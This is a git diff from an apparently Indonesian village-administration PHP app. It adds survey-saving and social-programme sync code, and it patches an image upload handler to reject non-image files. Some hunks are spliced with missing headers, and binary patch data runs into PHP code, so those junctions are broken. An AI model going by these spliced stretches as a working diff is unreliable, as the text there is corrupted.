+ + /** + * @param array $request + * + * @return array['content' => '', 'header_code' => ''] + */ + protected function saveBagian4Kesehatan(Dtks $dtks, $request) + { + $message = []; + + foreach ($request['pilihan']['4'] as $key => $input) { + if ($input != '' && ! array_key_exists($input, Regsosek2022kEnum::pilihanBagian4()["{$key}"])) { + $message[] = "No {$key}: Pilihan tidak ditemukan"; + } + } + + if (count($message) > 0) { + return ['content' => ['message' => $message], 'header_code' => 406]; + } + + $selected_anggota = $dtks->dtksAnggota->where('id', $request['id_art'])->first(); + $umur = $selected_anggota->umur; + + if (! $selected_anggota) { + return ['content' => ['message' => 'Anggota keluarga tidak ditemukan'], 'header_code' => 406]; + } + + $selected_anggota->kd_gizi_seimbang = ($umur <= 4) + ? $this->null_or_value($request['pilihan']['4']['427']) + : null; + $selected_anggota->kd_sulit_penglihatan = ($umur >= 2) + ? $this->null_or_value($request['pilihan']['4']['428a']) + : null; + $selected_anggota->kd_sulit_pendengaran = ($umur >= 2) + ? $this->null_or_value($request['pilihan']['4']['428b']) + : null; + $selected_anggota->kd_sulit_jalan_naiktangga = ($umur >= 2) + ? $this->null_or_value($request['pilihan']['4']['428c']) + : null; + $selected_anggota->kd_sulit_gerak_tangan_jari = ($umur >= 2) + ? $this->null_or_value($request['pilihan']['4']['428d']) + : null; + $selected_anggota->kd_sulit_belajar_intelektual = ($umur >= 2) + ? $this->null_or_value($request['pilihan']['4']['428e']) + : null; + $selected_anggota->kd_sulit_perilaku_emosi = ($umur >= 2) + ? $this->null_or_value($request['pilihan']['4']['428f']) + : null; + $selected_anggota->kd_sulit_paham_bicara_kom = ($umur >= 5) + ? $this->null_or_value($request['pilihan']['4']['428g']) + : null; + $selected_anggota->kd_sulit_mandiri = ($umur >= 5) + ? $this->null_or_value($request['pilihan']['4']['428h']) + : null; + $selected_anggota->kd_sulit_ingat_konsentrasi = ($umur >= 5) + ? $this->null_or_value($request['pilihan']['4']['428i']) + : null; + $selected_anggota->kd_sering_sedih_depresi = ($umur >= 5) + ? $this->null_or_value($request['pilihan']['4']['428j']) + : null; + $selected_anggota->kd_memiliki_perawat = ( + $umur >= 60 + || in_array($selected_anggota->kd_sulit_penglihatan, ['1', '2']) + || in_array($selected_anggota->kd_sulit_pendengaran, ['1', '2']) + || in_array($selected_anggota->kd_sulit_jalan_naiktangga, ['1', '2']) + || in_array($selected_anggota->kd_sulit_gerak_tangan_jari, ['1', '2']) + || in_array($selected_anggota->kd_sulit_belajar_intelektual, ['1', '2']) + || in_array($selected_anggota->kd_sulit_perilaku_emosi, ['1', '2']) + || in_array($selected_anggota->kd_sulit_paham_bicara_kom, ['1', '2']) + || in_array($selected_anggota->kd_sulit_mandiri, ['1', '2']) + || in_array($selected_anggota->kd_sulit_ingat_konsentrasi, ['1', '2']) + || in_array($selected_anggota->kd_sering_sedih_depresi, ['1', '2']) + ) + ? $this->null_or_value($request['pilihan']['4']['429']) + : null; + $selected_anggota->kd_penyakit_kronis_menahun = $this->null_or_value($request['pilihan']['4']['430']); + + $this->saveRelatedAttribute($selected_anggota); + + $new_data = [ + 'id' => $selected_anggota->id, + 'kd_gizi_seimbang' => $selected_anggota->kd_gizi_seimbang, + 'kd_sulit_penglihatan' => $selected_anggota->kd_sulit_penglihatan, + 'kd_sulit_pendengaran' => $selected_anggota->kd_sulit_pendengaran, + 'kd_sulit_jalan_naiktangga' => $selected_anggota->kd_sulit_jalan_naiktangga, + 'kd_sulit_gerak_tangan_jari' => $selected_anggota->kd_sulit_gerak_tangan_jari, + 'kd_sulit_belajar_intelektual' => $selected_anggota->kd_sulit_belajar_intelektual, + 'kd_sulit_perilaku_emosi' => $selected_anggota->kd_sulit_perilaku_emosi, + 'kd_sulit_paham_bicara_kom' => $selected_anggota->kd_sulit_paham_bicara_kom, + 'kd_sulit_mandiri' => $selected_anggota->kd_sulit_mandiri, + 'kd_sulit_ingat_konsentrasi' => $selected_anggota->kd_sulit_ingat_konsentrasi, + 'kd_sering_sedih_depresi' => $selected_anggota->kd_sering_sedih_depresi, + 'kd_memiliki_perawat' => $selected_anggota->kd_memiliki_perawat, + 'kd_penyakit_kronis_menahun' => $selected_anggota->kd_penyakit_kronis_menahun, + ]; + + return ['content' => ['message' => 'Berhasil disimpan', 'new_data' => $new_data], 'header_code' => 200]; + } + + /** + * @param array $request + * + * @return array['content' => '', 'header_code' => ''] + */ + protected function saveBagian4ProgramPerlindunganSosial(Dtks $dtks, $request) + { + $message = []; + + foreach ($request['pilihan']['4'] as $key => $input) { + if ($input != '' && in_array($key, ['431a', '431f'])) { + $keys = explode(',', $input); + + foreach ($keys as $item) { + if (! array_key_exists($item, Regsosek2022kEnum::pilihanBagian4()["{$key}"])) { + $message[] = "No {$key}: Pilihan tidak ditemukan"; + } + } + } + if ($input != '' && ! in_array($key, ['431a', '431f']) && ! array_key_exists($input, Regsosek2022kEnum::pilihanBagian4()["{$key}"])) { + $message[] = "No {$key}: Pilihan tidak ditemukan"; + } + } + + if (count($message) > 0) { + return ['content' => ['message' => $message], 'header_code' => 406]; + } + + $selected_anggota = $dtks->dtksAnggota->where('id', $request['id_art'])->first(); + $umur = $selected_anggota->umur; + + if (! $selected_anggota) { + return ['content' => ['message' => 'Anggota keluarga tidak ditemukan'], 'header_code' => 406]; + } + + $selected_anggota->kd_jamkes_setahun = ($request['pilihan']['4']['431a'] != '') + ? $this->null_or_value(array_sum(explode(',', $request['pilihan']['4']['431a']))) + : null; + $selected_anggota->kd_ikut_prakerja = $umur >= 5 + ? $this->null_or_value($request['pilihan']['4']['431b']) + : null; + $selected_anggota->kd_ikut_kur = $umur >= 5 + ? $this->null_or_value($request['pilihan']['4']['431c']) + : null; + $selected_anggota->kd_ikut_umi = $umur >= 5 + ? $this->null_or_value($request['pilihan']['4']['431d']) + : null; + $selected_anggota->kd_ikut_pip = $umur >= 5 + ? $this->null_or_value($request['pilihan']['4']['431e']) + : null; + $selected_anggota->jumlah_jamket_kerja = ($request['pilihan']['4']['431f'] != '') + ? $this->null_or_value(array_sum(explode(',', $request['pilihan']['4']['431f']))) + : null; + + $this->saveRelatedAttribute($selected_anggota); + + $new_data = [ + 'id' => $selected_anggota->id, + 'kd_jamkes_setahun' => $selected_anggota->kd_jamkes_setahun, + 'kd_ikut_prakerja' => $selected_anggota->kd_ikut_prakerja, + 'kd_ikut_kur' => $selected_anggota->kd_ikut_kur, + 'kd_ikut_umi' => $selected_anggota->kd_ikut_umi, + 'kd_ikut_pip' => $selected_anggota->kd_ikut_pip, + 'jumlah_jamket_kerja' => $selected_anggota->jumlah_jamket_kerja, + ]; + + return ['content' => ['message' => 'Berhasil disimpan', 'new_data' => $new_data], 'header_code' => 200]; + } + + protected function savePengaturanProgram($request) + { + $relasi = $this->relasiPengaturanProgram(); + $message = []; + + $bantuan_keluarga_rtm = Bantuan::whereIn('sasaran', [SasaranEnum::KELUARGA, SasaranEnum::PENDUDUK])->get(); + $is_for_anggota = false; + + foreach ($request as $key => $item) { + if ($item != '' && in_array($key, array_keys($relasi)) && (substr($key, -(strlen('default'))) !== 'default') && $bantuan_keluarga_rtm->where('id', $item)->count() == 0) { + $message[] = "{$key}: Bantuan tidak ditemukan"; + } elseif ($item != '' && in_array($key, array_keys($relasi)) && in_array($key, ['431a1_431a4_default', '431f1_431f5_default']) && ! in_array($item, ['0', '99'])) { + $message[] = "{$key}: Nilai bawaan tidak ditemukan"; + } elseif ($item != '' && in_array($key, array_keys($relasi)) && in_array($key, ['431b_default', '431c_default', '431d_default', '431e_default']) && ! in_array($item, ['2', '8'])) { + $message[] = "{$key}: Nilai bawaan tidak ditemukan"; + } + $is_for_anggota = $is_for_anggota || $relasi[$key][0] == 'dtks_anggota'; + } + + if (count($message) > 0) { + return ['content' => ['message' => $message], 'header_code' => 406]; + } + + if ($is_for_anggota) { + unset($relasi['501a'], $relasi['501b'], $relasi['501c'], $relasi['501d'], $relasi['501e'], $relasi['501f'], $relasi['501g'],); + } else { + unset($relasi['431a1'], $relasi['431a2'], $relasi['431a3'], $relasi['431a4'], $relasi['431b'], $relasi['431c'], $relasi['431d'], $relasi['431e'], $relasi['431f1'], $relasi['431f2'], $relasi['431f3'], $relasi['431f4'], $relasi['431f5'], $relasi['431a1_431a4_default'], $relasi['431b_default'], $relasi['431c_default'], $relasi['431d_default'], $relasi['431e_default'], $relasi['431f1_431f5_default'],); + } + + // Ambil pengaturan program dtks untuk versi ini + $target_table = array_column($relasi, 0)[0]; + $pengaturan_programs = DtksPengaturanProgram::where('versi_kuisioner', '2') + ->where('target_table', $target_table) + ->whereIn('target_field', array_column($relasi, 1)) + ->get(); + + $to_be_deleted = []; + $to_be_inserted = []; + + foreach ($relasi as $form_input_name => $item) { + $pengaturan_program = $pengaturan_programs->where('kode', $form_input_name)->first(); + + if ($request[$form_input_name] == '' && $pengaturan_program) { + $to_be_deleted[] = $pengaturan_program->id; + } + // khusus pengaturan selain program anggota default + elseif ($request[$form_input_name] != '' && $pengaturan_program && (substr($form_input_name, -(strlen('default'))) !== 'default') && $request[$form_input_name] != $pengaturan_program->id_bantuan) { + $pengaturan_program->update(['id_bantuan' => $request[$form_input_name]]); + } + // khusus pengaturan program anggota default + elseif ($request[$form_input_name] != '' && $pengaturan_program && (substr($form_input_name, -(strlen('default'))) === 'default') && $request[$form_input_name] != $pengaturan_program->nilai_default) { + $pengaturan_program->update(['nilai_default' => $request[$form_input_name]]); + } elseif ($request[$form_input_name] != '' && ! $pengaturan_program && (substr($form_input_name, -(strlen('default'))) !== 'default')) { + $to_be_inserted[] = [ + 'config_id' => identitas('id'), + 'versi_kuisioner' => '2', + 'kode' => $form_input_name, + 'target_table' => $item[0], + 'target_field' => $item[1], + 'id_bantuan' => $request[$form_input_name], + 'created_at' => Carbon::now(), + 'updated_at' => Carbon::now(), + ]; + } elseif ($request[$form_input_name] != '' && ! $pengaturan_program && (substr($key, -(strlen('default'))) === 'default')) { + $to_be_inserted[] = [ + 'config_id' => identitas('id'), + 'versi_kuisioner' => '2', + 'kode' => $form_input_name, + 'target_table' => $item[0], + 'target_field' => $item[1], + 'nilai_default' => $request[$form_input_name], + 'created_at' => Carbon::now(), + 'updated_at' => Carbon::now(), + ]; + } + } + if ($to_be_deleted) { + DtksPengaturanProgram::whereIn('id', $to_be_deleted)->delete(); + } + if ($to_be_inserted) { + DtksPengaturanProgram::insert($to_be_inserted); + } + + return ['content' => ['message' => 'Berhasil disimpan'], 'header_code' => 200]; + } + + public function syncKetDemografi(DtksAnggota $dtks_anggota, $agt, Penduduk $kepala_keluarga, $ref_eloquent_collection): DtksAnggota + { + // $dtks_anggota->nama = $agt->nama; // 402 + // $dtks_anggota->nik = $agt->nik; // 403 + // $dtks_anggota->no_kk = $agt->keluarga->no_kk; + // 404 karena data anggota yg diambil hanya anggota yang masih hidup, + // set ke pilihan 1. Tinggal bersama keluarga + $dtks_anggota->kd_ket_keberadaan_art = 1; // 404 + // $dtks_anggota->kd_jenis_kelamin = $agt->sex; // 405 + // $dtks_anggota->tgl_lahir = $agt->tanggallahir; // 406 + // $dtks_anggota->umur = $agt->umur; // getAttribute // 407 + // $dtks_anggota->kd_stat_perkawinan = $agt->status_kawin; // 408 + // jika anggota satu kk dengan kepala rumah tangga, hubungan dengan krt = hubungan dengan kk + // jika bukan satu kk, maka hubungannya jadi lainnya, biar diatur sendiri oleh user + if ($agt->id_kk == $kepala_keluarga->id_kk) { + $hubungan_dengan_kk = $ref_eloquent_collection['hubungan_dengan_kk']->where('id', $agt->kk_level)->pluck('nama')->first(); + $dtks_anggota->kd_hubungan_dg_kk = $this->getIndexPilihanWithDefault(Regsosek2022kEnum::pilihanBagian4()['409'], $hubungan_dengan_kk); + } else { + $kd_hubungan_dg_kk = $this->getIndexPilihan(Regsosek2022kEnum::pilihanBagian4()['409'], 'Lainnya'); + // jika sinkron dengan data dtks, selainnya dapat disesuaikan manual + if ($kd_hubungan_dg_kk != 8) { + $dtks_anggota->kd_hubungan_dg_kk = $kd_hubungan_dg_kk; + } + } + // if($dtks_anggota->umur >= 10 && $dtks_anggota->umur <= 54 && $dtks_anggota->kd_jenis_kelamin == 2 && in_array($dtks_anggota->kd_stat_perkawinan, ['2', '3', '4'])){ + // $dtks_anggota->kd_status_kehamilan = $agt->hamil; // 410 + // }else{ + // $dtks_anggota->kd_status_kehamilan = null; // 410 + // } + // 0:tidak punya, 1:akta lahir, 2:kia, 4:ktp + $total = 0; + if ($agt->akta_lahir) { + $total = $total + 1; + } + $is_ibu_anak_punya_data_kia = $ref_eloquent_collection['kia']->filter(static function ($item) use ($agt) { + return $item->ibu_id == $agt->id || $item->anak_id == $agt->id; + }); + $ref_ktp_el = unserialize(KTP_EL); + if ($is_ibu_anak_punya_data_kia->count() > 0 || $agt->ktp_el == $ref_ktp_el['kia']) { + $total = $total + 2; + } + if ($agt->ktp_el == $ref_ktp_el['ktp-el']) { + $total = $total + 4; + } + $dtks_anggota->kd_punya_kartuid = $total; // 411 + + return $dtks_anggota; + } + + public function syncPendidikan(DtksAnggota $dtks_anggota, $agt, Collection $daftar_pendidikan): DtksAnggota + { + // Setelah Tamat SD + if (in_array($agt->pendidikan_kk_id, [3, 4, 5]) || in_array($agt->pendidikan_sedang_id, [6, 7])) { + $dtks_anggota->kd_kelas_tertinggi = 8; // (tamat & lulus) // 414 + } + + $nama_pendidikan = $daftar_pendidikan->where('id', $agt->pendidikan_sedang_id)->pluck('nama')->first(); + // tidak/belum pernah sekolah + if ($agt->pendidikan_sedang_id == 3) { + $dtks_anggota->kd_partisipasi_sekolah = 1; // 413 + + return $dtks_anggota; + } + // tidak sekolah lagi + if ($agt->pendidikan_sedang_id == 18) { + $dtks_anggota->kd_partisipasi_sekolah = 3; // 413 + } + // sedang sekolah + elseif (strpos($nama_pendidikan, 'SEDANG ') == 0) { + $dtks_anggota->kd_partisipasi_sekolah = 2; // 413 + } + + // untuk D1 s.d S3 + if (in_array($agt->pendidikan_sedang_id, [8, 9, 10, 11, 12, 13]) || in_array($agt->pendidikan_kk_id, [6, 7, 8, 9, 10])) { + // sedang => konversi nama ke => D1 s.d S3 + $nama_pendidikan = str_replace(['SEDANG', ' ', '-', '/SEDERAJAT'], '', $nama_pendidikan); + // keterangan kk + if (in_array($agt->pendidikan_kk_id, [6, 7])) { + $pendidikan_kk = 'D1/D2/D3'; + } elseif ($agt->pendidikan_kk_id == 8) { + $pendidikan_kk = 'S1'; + } elseif ($agt->pendidikan_kk_id == 9) { + $pendidikan_kk = 'S2'; + } elseif ($agt->pendidikan_kk_id == 10) { + $pendidikan_kk = 'S3'; + } + + $nama_pendidikan = in_array($agt->pendidikan_sedang_id, [8, 9, 10, 11, 12, 13]) + ? $nama_pendidikan + : $pendidikan_kk ?? ''; + + $dtks_anggota->kd_pendidikan_tertinggi = $this->getIndexPilihan(Regsosek2022kEnum::pilihanBagian4()['413'], $nama_pendidikan); + $dtks_anggota->kd_kelas_tertinggi = 8; // (tamat & lulus) // 414 + $dtks_anggota->kd_ijazah_tertinggi = $this->getIndexPilihan(Regsosek2022kEnum::pilihanBagian4()['415'], $nama_pendidikan); // 415 + } + + // biarkan diisi manual jika tidak ada yg sesuai + + return $dtks_anggota; + } + + public function syncKetenagakerjaan(DtksAnggota $dtks_anggota, $agt, Penduduk $kepala_keluarga, $ref_eloquent_collection): DtksAnggota + { + // $dtks_anggota->kd_bekerja_seminggu_lalu = ; // 416a + // $dtks_anggota->jumlah_jam_kerja_seminggu_lalu = ; // 416b + // $dtks_anggota->kd_lapangan_usaha_pekerjaan = ; // 417 + // $dtks_anggota->tulis_lapangan_usaha_pekerjaan =; // 417_tulis + // $dtks_anggota->kd_kedudukan_di_pekerjaan = ; // 418 + // $dtks_anggota->kd_punya_npwp = ; // 419 + + return $dtks_anggota; + } + + public function syncKepemilikanUsaha(DtksAnggota $dtks_anggota, $agt, Penduduk $kepala_keluarga, $ref_eloquent_collection): DtksAnggota + { + // $dtks_anggota->kd_punya_usaha_sendiri_bersama =; // 420a + // $dtks_anggota->jumlah_usaha_sendiri_bersama =; // 420b + // $dtks_anggota->kd_lapangan_usaha_dr_usaha =; // 421 + // $dtks_anggota->tulis_lapangan_usaha_dr_usaha =; // 421_tulis + // $dtks_anggota->jumlah_pekerja_dibayar =; // 422 + // $dtks_anggota->jumlah_pekerja_tidak_dibayar =; // 423 + // $dtks_anggota->kd_kepemilikan_ijin_usaha =; // 424 + // $dtks_anggota->kd_omset_usaha_perbulan =; // 425 + // $dtks_anggota->kd_guna_internet_usaha =; // 426 + + return $dtks_anggota; + } + + public function syncKesehatan(DtksAnggota $dtks_anggota, $agt, Collection $daftar_sakit_menahun): DtksAnggota + { + // $dtks_anggota->kd_gizi_seimbang = ; // 427 + $usia_dinamis = $agt->umur; // attribute + if ($usia_dinamis >= 2) { + // $dtks_anggota->kd_sulit_penglihatan =; // 428a + // $dtks_anggota->kd_sulit_pendengaran =; // 428b + // $dtks_anggota->kd_sulit_jalan_naiktangga =; // 438c + // $dtks_anggota->kd_sulit_gerak_tangan_jari =; // 438d + // $dtks_anggota->kd_sulit_belajar_intelektual =; // 438e + // $dtks_anggota->kd_sulit_perilaku_emosi =; // 438f + } + if ($usia_dinamis >= 5) { + // $dtks_anggota->kd_sulit_paham_bicara_kom =; // 438g + // $dtks_anggota->kd_sulit_mandiri =; // 438h + // $dtks_anggota->kd_sulit_ingat_konsentrasi =; // 438i + // $dtks_anggota->kd_sering_sedih_depresi =; // 438j + } + if ($usia_dinamis >= 60 && in_array($dtks_anggota->kd_sering_sedih_depresi, [1, 2])) { + // $dtks_anggota->kd_memiliki_perawat =; // 429 + } + + // tweb_sakit_menahun | 1;JANTUNG 2;LEVER 3;PARU-PARU 4;KANKER 5;STROKE 6;DIABETES MELITUS 7;GINJAL + // 8;MALARIA 9;LEPRA/KUSTA 10;HIV/AIDS 11;GILA/STRESS 12;TBC 13;ASTHMA 14;TIDAK ADA/TIDAK SAKIT + + // untuk penulisan yg tidak mirip + if ($agt->sakit_menahun_id == 6) { + $dtks_anggota->kd_penyakit_kronis_menahun = 6; // 430 | 06. Diabeles (kencing manis) + } elseif ($agt->sakit_menahun_id == 13) { + $dtks_anggota->kd_penyakit_kronis_menahun = 4; // 430 | 04. Asma + } else { + // bandingkan kemudian set ke lainnya jika tidak ditemukan + $sakit_menahun = $daftar_sakit_menahun->where('id', $agt->sakit_menahun_id)->pluck('nama')->first(); + $dtks_anggota->kd_penyakit_kronis_menahun = $this->getIndexPilihanWithDefault(Regsosek2022kEnum::pilihanBagian4()['430'], $sakit_menahun); // 430 + } + + return $dtks_anggota; + } + + public function syncProgramPerlindunganSosial(DtksAnggota $dtks_anggota, $agt, Penduduk $kepala_keluarga, $ref_eloquent_collection): DtksAnggota + { + $pengaturan_programs = DtksPengaturanProgram::where('versi_kuisioner', '2') + ->where('target_table', 'dtks_anggota'); + + $pengaturan_programs = $this->cacheTemporaryModelGet($pengaturan_programs); + + if ($pengaturan_programs->count() > 0) { + // ambil semua bantuan anggota ini + $semua_kepesertaan_anggota_ini = BantuanPeserta::where('peserta', $agt->nik) + ->whereIn('program_id', $pengaturan_programs->pluck('id_bantuan')) + ->get(); + + //1. PBI/JKN, 2. JKN Mandiri, 4. JKN Pemberi Kerja, 8. Jamkes lainnya + $nilai_jaminan_kesehatan = ['431a1' => '1', '431a2' => '2', '431a3' => '4', '431a4' => '8']; + //1. BPJS Jaminan Kecelakaan Kerja, 2. BPJS Jaminan Kematian, 4. BPJS Jaminan Hari Tua, 8. BPJS Jaminan Pensiun, 16. Pensiunan/Jaminan hari tua lainnya (Taspen/Program Pensiun Swasta) + $nilai_jaminan_ketenagakerjaan = ['431f1' => '1', '431f2' => '2', '431f3' => '4', '431f4' => '8', '431f5' => 16]; + $pengaturan_program_selain_default = $pengaturan_programs->filter(static function ($item) { + return substr($item->kode, -(strlen('default'))) !== 'default'; + }); + $pengaturan_program_default = $pengaturan_programs->filter(static function ($item) { + return substr($item->kode, -(strlen('default'))) === 'default'; + })->keyBy('target_field'); + + $to_be_updated = []; + + foreach ($pengaturan_program_selain_default as $item) { + $kepesertaan_anggota_ini = $semua_kepesertaan_anggota_ini->where('program_id', $item->id_bantuan)->first(); + $target_field = $this->relasiPengaturanProgram()[$item->kode][1]; + $fields = explode(',', $target_field); + $tgl_sekarang = Carbon::now(); + $akhir_program = Carbon::parse($kepesertaan_anggota_ini->bantuan->edate); + $kepesertaannya = $akhir_program->floatDiffInYears($tgl_sekarang); + + // jika memiliki kepesertaan dan mendapatkan program kurang dari satu tahun lalu + if ($kepesertaan_anggota_ini && $kepesertaannya <= 1) { + if (in_array($item->kode, array_keys($nilai_jaminan_kesehatan))) { + $to_be_updated[$fields[0]] += $to_be_updated[$fields[0]] + ? $nilai_jaminan_kesehatan[$item->kode] + : $nilai_jaminan_kesehatan[$item->kode]; + } elseif (in_array($item->kode, array_keys($nilai_jaminan_ketenagakerjaan))) { + $to_be_updated[$fields[0]] += $to_be_updated[$fields[0]] + ? $nilai_jaminan_ketenagakerjaan[$item->kode] + : $nilai_jaminan_ketenagakerjaan[$item->kode]; + } else { + $to_be_updated[$fields[0]] = 1; + } + } else { + $default_program = $pengaturan_program_default[$fields[0]]; + // jangan ubah, agar bisa di sesuaikan manual + if ($default_program->nilai_default !== null) { + $to_be_updated[$fields[0]] = $default_program->nilai_default; + } + } + } + $is_dirty = false; + + foreach ($to_be_updated as $key => $item) { + if ($dtks_anggota->{$key} != $item) { + $is_dirty = true; + } + $dtks_anggota->{$key} = $item; + } + // lakukan update + if ($is_dirty) { + DtksAnggota::where('id', $dtks_anggota->id)->update($to_be_updated); + } + } + + return $dtks_anggota; + } + + public function syncKepesertaanProgramKeluarga(Dtks $dtks) + { + $pengaturan_programs = DtksPengaturanProgram::where('versi_kuisioner', '2') + ->where('target_table', 'dtks') + ->get(); + + if ($pengaturan_programs->count() > 0) { + // agak ragu menentukan kepesertaan apakah datanya + // hanya 1 per keluarga atau bisa lebih + + // ambil semua kepesertaan keluarga ini + $kepesertaan_keluarga_ini = BantuanPeserta::where('peserta', $dtks->kepala_keluarga->keluarga->no_kk) + ->whereIn('program_id', $pengaturan_programs->pluck('id_bantuan')) + ->with('bantuan') + ->get(); + + $to_be_updated = []; + + foreach ($kepesertaan_keluarga_ini as $item) { + $bantuan = $item->bantuan->where('id', $item->program_id)->first(); + $tgl_sekarang = Carbon::now(); + $akhir_program = Carbon::parse($bantuan->edate); + $kepesertaannya = $akhir_program->floatDiffInYears($tgl_sekarang); + + // cek kode relasi + $kode = $pengaturan_programs->where('id_bantuan', $item->program_id)->first()->kode; //501a ... e + $target_field = $this->relasiPengaturanProgram()[$kode][1]; + $fields = explode(',', $target_field); + + // jika memiliki kepesertaan kurang dari satu tahun terakhir + // Kepesertaan 1. Ya, 2. Tidak + if ($kepesertaannya <= 1) { + $dtks->{$fields[0]} = 1; + } else { + $dtks->{$fields[0]} = 2; + } + + // bulan + $dtks->{$fields[1]} = $akhir_program->isoFormat('M'); + // tahun + $dtks->{$fields[2]} = $akhir_program->isoFormat('YYYY'); + + if ($dtks->isDirty($fields[0]) || $dtks->isDirty($fields[1]) || $dtks->isDirty($fields[2])) { + $to_be_updated[$fields[0]] = $dtks->{$fields[0]}; + $to_be_updated[$fields[1]] = $dtks->{$fields[1]}; + $to_be_updated[$fields[2]] = $dtks->{$fields[2]}; + } + } + + // data kepesertaan yg tidak ditemukan + $bukan_peserta_program = $pengaturan_programs->whereNotIn('id_bantuan', $kepesertaan_keluarga_ini->pluck('program_id')); + + foreach ($bukan_peserta_program as $item) { + $target_field = $this->relasiPengaturanProgram()[$item->kode][1]; + $fields = explode(',', $target_field); + + // Kepesertaan 1. Ya, 2. Tidak + if ($dtks->isDirty($fields[0])) { + $dtks->{$fields[0]} = 2; + $to_be_updated[$fields[0]] = 2; + } + } + // lakukan update + if (count($to_be_updated) > 0) { + Dtks::where('id', $dtks->id)->update($to_be_updated); + } + } + + return $dtks; + } + + /** + * jika ada perubahan, hanya ubah atribute field terkait, + * karena menyebabkan error jika atribute tidak ada di db + * + * @param mixed $dtks_or_dtks_anggota + */ + protected function saveRelatedAttribute($dtks_or_dtks_anggota) + { + if ($dtks_or_dtks_anggota instanceof Dtks) { + $attribute_tersedia = Regsosek2022kEnum::getUsedFields()['dtks']; + } elseif ($dtks_or_dtks_anggota instanceof DtksAnggota) { + $attribute_tersedia = Regsosek2022kEnum::getUsedFields()['dtks_anggota']; + } else { + return; + } + + if ($dtks_or_dtks_anggota->isDirty($attribute_tersedia)) { + $tmp_attributes = []; + + foreach ($dtks_or_dtks_anggota->attributesToArray() as $atr => $val) { + if (! in_array($atr, $attribute_tersedia)) { + $tmp_attributes[$atr] = $val; + unset($dtks_or_dtks_anggota->{$atr}); + } + } + $dtks_or_dtks_anggota->save(); + + foreach ($tmp_attributes as $atr => $val) { + $dtks_or_dtks_anggota->{$atr} = $val; + } + } + } + + protected function null_or_value($value) + { + if ($value === '') { + return null; + } + + return $value; + } + + /** + * return index atau null + * + * @param mixed $value + * @param mixed $default_value + */ + protected function getIndexPilihanWithDefault(array $daftar_pilihan, $value, $default_value = 'Lainnya') + { + $related_data = $this->getIndexPilihan($daftar_pilihan, $value); + // Jika tidak ada nama yang sama, cari nama 'lainnya' + if (! ($related_data ?? false)) { + $related_data = $this->getIndexPilihan($daftar_pilihan, $default_value); + } + + // kembalikan id yang ditemukan atau null + return $related_data ? $related_data : null; + } + + /** + * return index atau null + * + * @param mixed $search_value + */ + protected function getIndexPilihan(array $daftar_pilihan, $search_value) + { + return collect($daftar_pilihan)->search(static function ($item, $key) use ($search_value) { + $first = strtolower($item); + $second = strtolower($search_value); + $similar = similar_text($first, $second); + + return (strlen($first) == $similar || strlen($second) == $similar) ? true : false; + }); + } +} diff --git a/app/Traits/Author.php b/app/Traits/Author.php index ca38b201e..814f42569 100644 --- a/app/Traits/Author.php +++ b/app/Traits/Author.php @@ -1,377 +1,50 @@ -send(); + exit; + } + + if (!in_array($ext, array('gif', 'jpg', 'jpeg', 'jpe', 'png', 'webp'), TRUE)) + { + response('Extension not allowed')->send(); + exit; + } $image_data = base64_decode($image_data); @@ -109,8 +123,13 @@ if ($ftp) { $temp = tempnam('/tmp', 'RF'); unlink($temp); - $temp .=".".substr(strrchr($_POST['url'], '.'), 1); + $temp .=".".substr(strrchr($_POST['url'], '.'), 1); file_put_contents($temp, $image_data); + if (@getimagesize($temp) === FALSE) { + unlink($temp); + log_message('error', 'remove attacker file '.$temp); + exit; + } $ftp->put($config['ftp_base_folder'].$config['upload_dir'] . $_POST['path'] . $_POST['name'], $temp, FTP_BINARY); @@ -119,8 +138,14 @@ unlink($temp); } else { - file_put_contents($config['current_path'] . $_POST['path'] . $_POST['name'], $image_data); - create_img($config['current_path'] . $_POST['path'] . $_POST['name'], $config['thumbs_base_path'].$_POST['path'].$_POST['name'], 122, 91); + $pathFileName = $config['current_path'] . $_POST['path'] . $_POST['name']; + file_put_contents($pathFileName, $image_data); + if (@getimagesize($pathFileName) === FALSE) { + log_message('error', 'remove attacker file '.$pathFileName); + unlink($pathFileName); + exit; + } + create_img($pathFileName, $config['thumbs_base_path'].$_POST['path'].$_POST['name'], 122, 91); // TODO something with this function cause its blowing my mind new_thumbnails_creation( $config['current_path'].$_POST['path'], diff --git a/assets/import/format_bip_ektp.xls b/assets/import/format_bip_ektp.xls index 4fb0314b227e91930272fc068d5a271fbefbaad6..e4af3d7a9c06a7f07295ace51a9c471a3d0ad8bc 100644 GIT binary patch delta 35 rcmZqpz|`=8X+sVRyMoEp;G>~8Hy5*PWn^bzUmodul_ini = 'pembangunan'; + $this->load->library('zip'); + $this->load->library('MY_Upload', null, 'upload'); + $this->load->model('pembangunan_model', 'pembangunan'); + $this->load->model('pembangunan_dokumentasi_model', 'dokumentasi'); + $this->load->model('wilayah_model'); + $this->load->model('pamong_model'); + $this->load->model('plan_lokasi_model'); + $this->load->model('plan_area_model'); + $this->load->model('plan_garis_model'); + } + + public function index() + { + if ($this->input->is_ajax_request()) { + $start = $this->input->post('start'); + $length = $this->input->post('length'); + $search = $this->input->post('search[value]'); + $order = $this->pembangunan::ORDER_ABLE[$this->input->post('order[0][column]')]; + $dir = $this->input->post('order[0][dir]'); + $tahun = $this->input->post('tahun'); + + $this->pembangunan->set_tipe(''); // Ambil semua pembangunan + + $data = $this->pembangunan->get_data($search, $tahun)->order_by($order, $dir)->limit($length, $start)->get()->result(); + $data = collect($data)->map(static function ($item) { + $item->url_foto = to_base64(LOKASI_GALERI . $item->foto); + + return $item; + })->toArray(); + + return json([ + 'draw' => $this->input->post('draw'), + 'recordsTotal' => $this->pembangunan->get_data()->count_all_results(), + 'recordsFiltered' => $this->pembangunan->get_data($search, $tahun)->count_all_results(), + 'data' => $data, + ]); + } + + $this->render(ADMIN . '/pembangunan/index', [ + 'list_tahun' => $this->pembangunan->list_filter_tahun(), + ]); + } + + public function form($id = '') + { + $this->redirect_hak_akses('u'); + if ($id) { + $data['main'] = $this->pembangunan->find($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update/{$id}"); + } else { + $data['main'] = null; + + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $data['list_lokasi'] = $this->wilayah_model->list_semua_wilayah(); + $data['sumber_dana'] = $this->referensi_model->list_ref(SUMBER_DANA); + $data['satuan_waktu'] = SatuanWaktuEnum::all(); + + $this->render(ADMIN . '/pembangunan/form', $data); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->pembangunan->insert(); + redirect($this->controller); + } + + public function update($id = '') + { + $this->redirect_hak_akses('u'); + $this->pembangunan->update($id); + redirect($this->controller); + } + + public function delete($id) + { + $this->redirect_hak_akses('h'); + 